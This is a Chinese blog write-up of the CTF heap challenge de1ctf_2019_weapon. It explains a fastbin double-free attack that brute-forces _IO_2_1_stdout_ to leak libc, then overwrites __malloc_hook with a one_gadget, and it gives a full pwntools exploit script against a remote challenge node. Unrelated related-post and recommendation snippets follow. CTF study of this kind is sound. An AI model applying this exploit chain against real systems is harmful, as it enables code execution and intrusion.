(这是我真正意义上的完完全全自己做的第一道堆题目,虽然花了快三个小时,谨以此篇纪念一下)

题目的例行检查我就不放了,将程序放入ida中

程序的逻辑十分简单,漏洞也非常明显

重点是这个程序没有给我们show函数,所以第一时间想到了爆破stdout和house of force这俩方法,但是house of force需要溢出去修改topchunk,所以这个题目使用爆破io_stdout来做

这道题的思路是将chunk在unsorted bin中释放去获得aren的值,要注意因为程序开启得alsr 但是地址得后三位是固定得,所以我们要通过修改aren得值为 _IO_2_1_stdout_-0x43的值 通过爆破一个字节去申请到该位置

我通过在chunk里面嵌套chunk去修改aren的值 然后当我们修改了io_stdout这块位置的值后会打印出libc的值,我们就可以往malloc_hook的值覆盖为one_gadget的值去拿到shell

完整exp如下:

from pwn import *

#p = process('./de1ctf_2019_weapon')

elf = ELF('./de1ctf_2019_weapon')
libc = ELF('./libc-2.23.so') def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0]) def add(size,index,content):
p.sendlineafter('choice >> ','1')
p.sendlineafter('wlecome input your size of weapon: ',str(size))
p.sendlineafter('input index:',str(index))
p.sendafter('input your name:',content) def edit(index,content):
p.sendlineafter('choice >>','3')
p.sendlineafter('idx: ',str(index))
p.sendafter('content: ',content) def free(index):
p.sendlineafter('choice >>','2')
p.sendlineafter('idx :',str(index)) def pwn():
#launch_gdb()
add(0x50,0,'aaaa')
add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f)) #往chunk里面伪造chunk,使uaf的chunk能申请到这里,以便于修改下个chunk的大小
add(0x50,2,'aaaa')
add(0x60,3,'aaaa')
add(0x50,4,'aaaa')
add(0x60,5,'aaaa') free(0)
free(1)
free(0) add(0x50,0,'\xb0')            #修改fd的值改变了链表结构    
add(0x50,1,'aaaa')
add(0x50,0,'aaaa')
add(0x50,7,p64(0)+p64(0xd1))      #注意这里的d1一定不能随便的填,需要能刚好覆盖到下一个chunk的大小 free(2)
free(3)
add(0x50,8,'a')              #将修改的0xd1大小的chunk还原
add(0x50,9,'a')
add(0x50,10,'a') free(2) #这里uaf的chunk也有一点讲究,需要能申请到泄露chunk的上一个位置,不能随便的uaf
free(4)
free(2) add(0x50,2,'\x10')
add(0x50,4,'aaaa')
add(0x50,2,b'a'*0x40+p64(0)+p64(0x6f))     #修改chunk的内容,以便于下个chunk能申请到0x10的位置
add(0x50,11,p64(0)+p64(0x71)+b'\xdd\x25')
add(0x60,3,'aaaa') add(0x60,12,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600 #爆破io_stdout的值后会将遇到的第一个/x7f打印出来,所以不能直接减去偏移去获得libc——base
if libc_base == -0x3c5600:
exit(-1) print('libc_base-->'+hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one[2]
print('one_gdbget-->'+hex(one_gadget))
add(0x60,13,'a')
add(0x60,14,'a')
add(0x60,15,'a') free(13)
free(14)
free(13) add(0x60,13,p64(malloc_hook-0x23))
add(0x60,14,'a')
add(0x60,13,'a')
add(0x60,16,b'a'*0x13+p64(one_gadget)) free(0)
free(0) p.interactive() if __name__=='__main__':
while True:
#p=process('./de1ctf_2019_weapon')
p = remote('node4.buuoj.cn','25633')
try:
pwn()
except:
p.close()

(吐槽一下index由自己选择的这种题目是真的麻烦,做了半天给我自己都搞的有点小迷惑)

de1ctf_2019_weapon(爆破_IO_2_1_stdout)的更多相关文章

  1. tcache poisoning(爆破stout获得libc并且熟练使用了realloc)

    这道题目帮助我学习了realloc这个函数,是一道十分经典的题目,我会尽量的把exp的每一步都说清楚 例行检查我就不放了 讲程序放入ida中 比较简单的流程,没有show功能,所有我们需要通过爆破st ...

  2. 涨知识的一个pwn题:de1ctf_2019_weapon

    没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多 怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度 漏洞点位于free函数,一个简单的UAF漏洞 然后接下来说说我一开始的思路 由于程序没有 ...

  3. ubuntu进行子域名爆破

    好记性不如烂笔头,此处记录一下,ubuntu进行子域名的爆破. 先记录一个在线的子域名爆破网址,无意中发现,很不错的网址,界面很干净,作者也很用心,很感谢. https://phpinfo.me/do ...

  4. 使用python处理子域名爆破工具subdomainsbrute结果txt

    近期学习了一段时间python,结合自己的安全从业经验,越来越感觉到安全测试是一个体力活.如果没有良好的coding能力去自动化的话,无疑会把安全测试效率变得很低. 作为安全测试而言,第一步往往要通过 ...

  5. 数据库密码爆破HexorBase

    数据库密码爆破HexorBase   数据库服务是服务器上最常见的一类服务.由于数据库保存大量的敏感信息,所以它的安全非常重要.测试数据库服务安全的重要方式,就是检查口令的强壮度.   Kali Li ...

  6. metasploit模块字典爆破tomcat

    祭出神器MSF 再用auxiliary/scanner/http/tomcat_mgr_login 这个辅助模块爆破下弱口令 这里就用模块自带的字典吧   然后简单配置下.RUN 需要自己定义字典的话 ...

  7. 爆破一个二元函数加密的cm

    系统 : Windows xp 程序 : cztria~1 程序下载地址 :http://pan.baidu.com/s/1slUwmVr 要求 : 爆破 使用工具 : OD 可在看雪论坛中查找关于此 ...

  8. 初试在线破解工具Hydra爆破3389服务器

    hydra是一款全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的. 在Kali Linux下已经是默认安装的,于是测试爆破一下自己的一台VM虚拟机服务器.hydra还支持G ...

  9. python黑客编程之端口爆破

    #coding:utf-8 from optparse import OptionParser import time,re,sys,threading,Queue import ftplib,soc ...

随机推荐

  1. [cf1261F]Xor-Set

    构造一棵权值范围恰为$[0,2^{60})$的权值线段树,考虑其中从下往上第$h$层($0\le h\le 60$)中的一个区间,假设其左端点为$l$,即$[l,l+2^{h})$ 这样的一个区间具有 ...

  2. 软虹sdk基本使用

    虹软SDK的简单使用 Java实现人脸识别,但是又不会自己实现算法,找SDK时发现了虹软.虹软SDK具有免费.识别率高等优点,然后到网上搜这个SDK的教程,没搜到,就自己探索,发现它自带的官方文档其实 ...

  3. 从记账软件看工具类APP的存量运营之道

    随着移动互联网的发展,APP的种类越来越多,一些工具类 APP 增长乏力,难以实现长期增长.只有提高用户留存时间,实现流量变现,才能在激烈的市场竞争中持续发展. 工具类APP的特点: 替代性很强: 用 ...

  4. WPS for Linux 字体配置(字体缺失解决办法)

    WPS for Linux 字体配置(字体缺失解决办法) 1. 背景 有些linux装完wps后提示"部分字体无法显示"或"some formula symbols mi ...

  5. R语言与医学统计图形-【33】生存曲线、森林图、曼哈顿图

    1.生存曲线 基础包survival+扩展包survminer. survival包内置肺癌数据集lung. library(survival) library(survminer) str(lung ...

  6. quota

    一.什么是磁盘配额 磁盘配额从字面意思上看就是给一个磁盘配置多少额度,而quota就是有多少限额的意思,所以总的来说就是限制用户对磁盘空间的使用量.因为Linux是多用户多任务的操作系统,许多人公用磁 ...

  7. Linux—crontab 定期执行程序的命令

    crontab [ -u user ] { -l | -r | -e } 说明: crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表. -u user ...

  8. CentOS6源码安装zabbix服务器

    1.下载安装包并解压 2.预环境搭建 3.创建zabbix用户,编译安装zabbix 4.配置mysql 5.配置zabbix-server 6.配置apache和php 7.添加开机自启动 1 yu ...

  9. A Child's History of England.1

    A Child's History of England, by Charles Dickens (狄更斯) CHAPTER I ANCIENT ENGLAND AND THE ROMANS If y ...

  10. Java偏向锁浅析

    偏向锁的定义 顾名思义,偏向锁会偏向第一个访问锁的线程. 如果在接下来的运行过程中,该锁没有被其他线程访问,这持有偏向锁的线程将永远不需要同步 如果在运行过程中,遇到了其他线程抢占锁,则持有偏向锁的线 ...